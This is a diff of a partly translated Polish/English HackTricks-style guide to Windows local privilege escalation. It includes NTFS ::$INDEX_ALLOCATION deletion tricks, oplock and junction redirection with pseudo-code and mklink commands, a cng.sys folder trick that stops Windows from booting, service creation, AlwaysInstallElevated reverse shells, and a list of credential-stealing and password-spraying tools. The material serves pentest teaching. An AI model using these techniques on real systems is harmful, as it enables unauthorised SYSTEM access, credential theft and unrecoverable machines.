**auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. -- **Boom**: Your code is executed **as SYSTEM**. +- Uruchom zaufany **auto-elevated binary** (np. `osk.exe`), który ładuje DLL, który przejąłeś. +- **Bum**: Twój kod zostaje wykonany **jako SYSTEM**. -### From Arbitrary File Delete/Move/Rename to SYSTEM EoP +### Z Arbitrary File Delete/Move/Rename do SYSTEM EoP -The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? +Główna technika MSI rollback (poprzednia) zakłada, że możesz usunąć **cały folder** (np. `C:\Config.Msi`). Ale co jeśli twoja luka pozwala tylko na **dowolne usuwanie plików**? -You could exploit wewnętrzne mechanizmy NTFS: every folder has a hidden alternate data stream called: +Możesz wykorzystać **NTFS internals**: każdy folder ma ukryty alternatywny strumień danych zwany: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` Ten strumień przechowuje **metadane indeksu** folderu. -Zatem jeśli **usuniesz strumień `::$INDEX_ALLOCATION`** folderu, NTFS **usuwa cały folder** z systemu plików. +Zatem, jeśli **usuniesz strumień `::$INDEX_ALLOCATION`** folderu, NTFS **usunie cały folder** z systemu plików. -Możesz to zrobić używając standardowych API do usuwania plików, takich jak: +Możesz to zrobić, używając standardowych API do usuwania plików, takich jak: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` > Nawet jeśli wywołujesz *file* delete API, to **usuwa sam folder**. -### Od Folder Contents Delete do SYSTEM EoP -Co jeśli twój primitive nie pozwala na usuwanie dowolnych plików/folderów, ale **pozwala na usuwanie *zawartości* folderu kontrolowanego przez atakującego**? +### From Folder Contents Delete to SYSTEM EoP +Co jeśli twój primitive nie pozwala na usuwanie dowolnych files/folders, ale **pozwala na usunięcie *contents* attacker-controlled folder**? -1. Krok 1: Przygotuj folder i plik przynęty -- Utwórz: `C:\temp\folder1` -- Wewnątrz niego: `C:\temp\folder1\file1.txt` +1. Step 1: Setup a bait folder and file +- Create: `C:\temp\folder1` +- Inside it: `C:\temp\folder1\file1.txt` -2. Krok 2: Załóż **oplock** na `file1.txt` -- Oplock **wstrzymuje wykonanie**, gdy uprzywilejowany proces próbuje usunąć `file1.txt`. +2. Step 2: Place an **oplock** on `file1.txt` +- The oplock **wstrzymuje wykonanie** gdy uprzywilejowany proces próbuje usunąć `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); @@ -1483,15 +1526,15 @@ WaitForDeleteToTriggerOplock(); ``` 3. Krok 3: Wywołaj proces SYSTEM (np. `SilentCleanup`) - Ten proces skanuje foldery (np. `%TEMP%`) i próbuje usunąć ich zawartość. -- Gdy dotrze do `file1.txt`, **oplock aktywuje się** i przekazuje kontrolę do twojego callbacka. +- Gdy dotrze do `file1.txt`, **oplock triggers** i przekazuje kontrolę do twojego callbacka. -4. Krok 4: Wewnątrz oplock callback – przekieruj usunięcie +4. Krok 4: Wewnątrz callbacka oplocka – przekieruj usunięcie -- Opcja A: Przenieś `file1.txt` w inne miejsce -- To opróżnia `folder1` bez zerwania oplocka. -- Nie usuwaj `file1.txt` bezpośrednio — to spowodowałoby przedwczesne zwolnienie oplocka. +- Opcja A: Przenieś `file1.txt` gdzie indziej +- To opróżnia `folder1` bez naruszenia oplocka. +- Nie usuwaj `file1.txt` bezpośrednio — to przedwcześnie zwolni oplock. -- Opcja B: Przekształć `folder1` w **junction**: +- Opcja B: Konwertuj `folder1` na **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1504,44 +1547,44 @@ CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") > To atakuje wewnętrzny strumień NTFS, który przechowuje metadane folderu — usunięcie go usuwa folder. 5. Krok 5: Zwolnienie oplocka -- Proces SYSTEM kontynuuje i próbuje usunąć `file1.txt`. +- SYSTEM proces kontynuuje i próbuje usunąć `file1.txt`. - Ale teraz, z powodu junction + symlink, w rzeczywistości usuwa: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Wynik**: `C:\Config.Msi` zostaje usunięty przez SYSTEM. -### From Arbitrary Folder Create to Permanent DoS +### Od Arbitrary Folder Create do Permanent DoS -Wykorzystaj prymityw, który pozwala ci **create an arbitrary folder as SYSTEM/admin** — nawet jeśli **you can’t write files** lub **set weak permissions**. +Wykorzystaj prymityw, który pozwala Ci **create an arbitrary folder as SYSTEM/admin** — nawet jeśli **nie możesz zapisywać plików** lub **ustawić słabych uprawnień**. -Utwórz **folder** (not a file) o nazwie **krytycznego sterownika Windows**, np.: +Utwórz **folder** (nie plik) o nazwie **critical Windows driver**, np.: ``` C:\Windows\System32\cng.sys ``` - Ta ścieżka zazwyczaj odpowiada sterownikowi trybu jądra `cng.sys`. -- Jeśli **wstępnie utworzysz ją jako folder**, Windows nie załaduje właściwego sterownika podczas rozruchu. +- Jeśli **wstępnie utworzysz ją jako folder**, Windows nie załaduje rzeczywistego sterownika podczas rozruchu. - Następnie Windows próbuje załadować `cng.sys` podczas rozruchu. -- Widzi folder, **nie udaje mu się zlokalizować właściwego sterownika**, i **zawiesza system lub zatrzymuje rozruch**. -- Nie ma **żadnego mechanizmu zapasowego**, i **nie da się odzyskać** bez interwencji zewnętrznej (np. naprawy rozruchu lub dostępu do dysku). +- Widząc folder, **nie udaje mu się zlokalizować rzeczywistego sterownika**, i **zawiesza się lub zatrzymuje rozruch**. +- Nie ma **mechanizmu awaryjnego**, ani **możliwości odzyskania** bez zewnętrznej interwencji (np. naprawy rozruchu lub dostępu do dysku). ## **Z High Integrity do SYSTEM** ### **Nowa usługa** -Jeśli już działasz w procesie High Integrity, **ścieżka do SYSTEMu** może być prosta — wystarczy **utworzyć i uruchomić nową usługę**: +Jeśli już działasz w procesie o High Integrity, **ścieżka do SYSTEM** może być prosta — wystarczy **utworzyć i uruchomić nową usługę**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Podczas tworzenia pliku binarnego usługi upewnij się, że to prawidłowy service albo że binarka wykonuje niezbędne działania szybko, ponieważ zostanie zabita po 20s jeśli nie jest prawidłowym service. +> Przy tworzeniu service binary upewnij się, że to prawidłowy service lub że binary wykonuje niezbędne czynności wystarczająco szybko, ponieważ zostanie zabity po 20s, jeśli nie jest prawidłowym service. ### AlwaysInstallElevated -Z procesu o High Integrity możesz spróbować **włączyć wpisy rejestru AlwaysInstallElevated** i **zainstalować** reverse shell używając opakowania _**.msi**_.\ -[Więcej informacji o kluczach rejestru i jak zainstalować pakiet _.msi_ znajdziesz tutaj.](#alwaysinstallelevated) +Z procesu o High Integrity możesz spróbować **włączyć wpisy rejestru AlwaysInstallElevated** i **zainstalować** reverse shell używając wrappera _**.msi**_.\ +[Więcej informacji o kluczach rejestru zaangażowanych i jak zainstalować pakiet _.msi_ tutaj.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System @@ -1549,19 +1592,19 @@ Z procesu o High Integrity możesz spróbować **włączyć wpisy rejestru Alway ### From SeDebug + SeImpersonate to Full Token privileges -Jeżeli masz te token privileges (prawdopodobnie znajdziesz je w już uruchomionym procesie o High Integrity), będziesz w stanie **otworzyć prawie dowolny proces** (nie protected processes) z uprawnieniem SeDebug, **skopiować token** procesu i utworzyć **dowolny proces z tym tokenem**.\ -Używając tej techniki zwykle **wybiera się proces uruchomiony jako SYSTEM z wszystkimi token privileges** (_tak, możesz znaleźć procesy SYSTEM bez wszystkich token privileges_).\ -**Możesz znaleźć** [**przykład kodu wykonującego tę technikę tutaj**](sedebug-+-seimpersonate-copy-token.md)**.** +Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz je w procesie o już High Integrity), będziesz mógł **otworzyć niemal dowolny proces** (nie protected processes) z uprawnieniem SeDebug, **skopiować token** procesu i utworzyć **dowolny proces z tym tokenem**.\ +Używając tej techniki zwykle **wybiera się proces uruchomiony jako SYSTEM z wszystkimi uprawnieniami tokena** (_tak, możesz znaleźć procesy SYSTEM bez wszystkich uprawnień tokena_).\ +**Możesz znaleźć** [**przykład kodu wykonującego proponowaną technikę tutaj**](sedebug-+-seimpersonate-copy-token.md)**.** -### Named Pipes +### **Named Pipes** -Ta technika jest używana przez meterpreter do eskalacji w `getsystem`. Technika polega na **utworzeniu pipe'a, a następnie stworzeniu/nadużyciu serwisu aby zapisał do tego pipe'a**. Następnie **serwer**, który utworzył pipe używając uprawnienia **`SeImpersonate`**, będzie w stanie **spodować token** klienta pipe'a (serwis) uzyskując uprawnienia SYSTEM.\ -Jeśli chcesz [**dowiedzieć się więcej o named pipes przeczytaj to**](#named-pipe-client-impersonation).\ -Jeśli chcesz przeczytać przykład [**jak przejść z high integrity do System używając name pipes przeczytaj to**](from-high-integrity-to-system-with-name-pipes.md). +Technika ta jest używana przez meterpreter do eskalacji w `getsystem`. Polega na **utworzeniu pipe i następnie utworzeniu/nadużyciu service, aby zapisał do tego pipe**. Następnie **server**, który utworzył pipe używając uprawnienia **`SeImpersonate`**, będzie w stanie **podszyć się pod token** klienta pipe (service), uzyskując uprawnienia SYSTEM.\ +Jeśli chcesz [**dowiedzieć się więcej o name pipes powinieneś przeczytać to**](#named-pipe-client-impersonation).\ +Jeśli chcesz przeczytać przykład [**jak przejść z High Integrity do System używając name pipes przeczytaj to**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Jeśli uda Ci się **przechwycić dll** ładowaną przez **proces** działający jako **SYSTEM**, będziesz w stanie wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest użyteczny do tego typu eskalacji uprawnień, a ponadto jest znacznie **łatwiejszy do osiągnięcia z procesu o high integrity**, ponieważ będzie on miał **write permissions** na foldery używane do ładowania dll.\ +Jeśli uda ci się **hijack a dll** będący **ładowany** przez **process** działający jako **SYSTEM**, będziesz w stanie wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny do tego rodzaju eskalacji uprawnień, a ponadto jest znacznie **łatwiejszy do osiągnięcia z procesu o High Integrity**, ponieważ będzie miał **write permissions** do folderów używanych do ładowania dll.\ **Możesz** [**dowiedzieć się więcej o Dll hijacking tutaj**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1580,39 +1623,39 @@ Jeśli uda Ci się **przechwycić dll** ładowaną przez **proces** działający ## Useful tools -**Najlepsze narzędzie do wyszukiwania Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Najlepsze narzędzie do wyszukiwania wektorów Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Sprawdza misconfigurations i poufne pliki (**[**sprawdź tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Wykryte.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Sprawdza niektóre możliwe misconfigurations i zbiera informacje (**[**sprawdź tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Sprawdza misconfigurations**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Ekstraktuje zapisane sesje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough lokalnie.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Ekstrahuje credentials z Credential Manager. Wykryte.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rozprasza zebrane hasła w domenie**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Sprawdza nieprawidłowe konfiguracje i wrażliwe pliki (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Wykrywane.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Sprawdza możliwe nieprawidłowości konfiguracji i zbiera informacje (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Sprawdza nieprawidłowe konfiguracje**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Wyciąga zapisane sesje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough lokalnie.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Wydobywa poświadczenia z Credential Manager. Wykrywane.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rozprowadza zebrane hasła po domenie**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh to PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer i narzędzie man-in-the-middle.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Podstawowa enumeracja Windows dla privesc**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Szuka znanych privesc vulnerabilities (DEPRECATED na rzecz Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne checki **(Wymaga praw Admina)** +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Podstawowa enumeracja Windows pod kątem privesc**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **~~ -- Wyszukuje znane podatności privesc (PRZETERMINOWANE dla Watson)~~**\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalna weryfikacja **(Wymaga praw Administratora)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Szuka znanych privesc vulnerabilities (wymaga skompilowania w VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeruje host w poszukiwaniu misconfigurations (bardziej narzędzie do zbierania informacji niż privesc) (wymaga kompilacji) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Ekstrahuje credentials z wielu programów (precompiled exe na GitHub)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Szuka znanych podatności privesc (wymaga skompilowania w VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeruje hosta w poszukiwaniu nieprawidłowych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (wymaga skompilowania) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Wyciąga poświadczenia z wielu programów (prekompilowane exe na GitHubie)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port PowerUp do C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Sprawdza misconfigurations (wykonywalny precompiled na GitHub). Nie zalecane. Nie działa dobrze na Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Sprawdza możliwe misconfigurations (exe z pythona). Nie zalecane. Nie działa dobrze na Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **~~ -- Sprawdza nieprawidłowe konfiguracje (wykonywalny prekompilowany na GitHubie). Nie zalecane. Nie działa dobrze na Win10.~~**\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Sprawdza możliwe nieprawidłowe konfiguracje (exe z Pythona). Nie zalecane. Nie działa dobrze na Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Narzędzie stworzone na podstawie tego posta (nie potrzebuje accesschk aby działać poprawnie, ale może go używać). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Narzędzie stworzone na bazie tego posta (nie wymaga accesschk, aby działać poprawnie, ale może go użyć). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Odczytuje wynik **systeminfo** i rekomenduje działające exploity (lokalny python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Odczytuje wynik **systeminfo** i rekomenduje działające exploity (lokalny python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Czyta output **systeminfo** i rekomenduje działające exploity (lokalny python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Czyta output **systeminfo** i rekomenduje działające exploity (lokalny python) **Meterpreter** @@ -1622,7 +1665,7 @@ Musisz skompilować projekt używając odpowiedniej wersji .NET ([zobacz to](htt ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## Referencje +## Źródła - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) @@ -1641,4 +1684,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) + {{#include ../../banners/hacktricks-training.md}}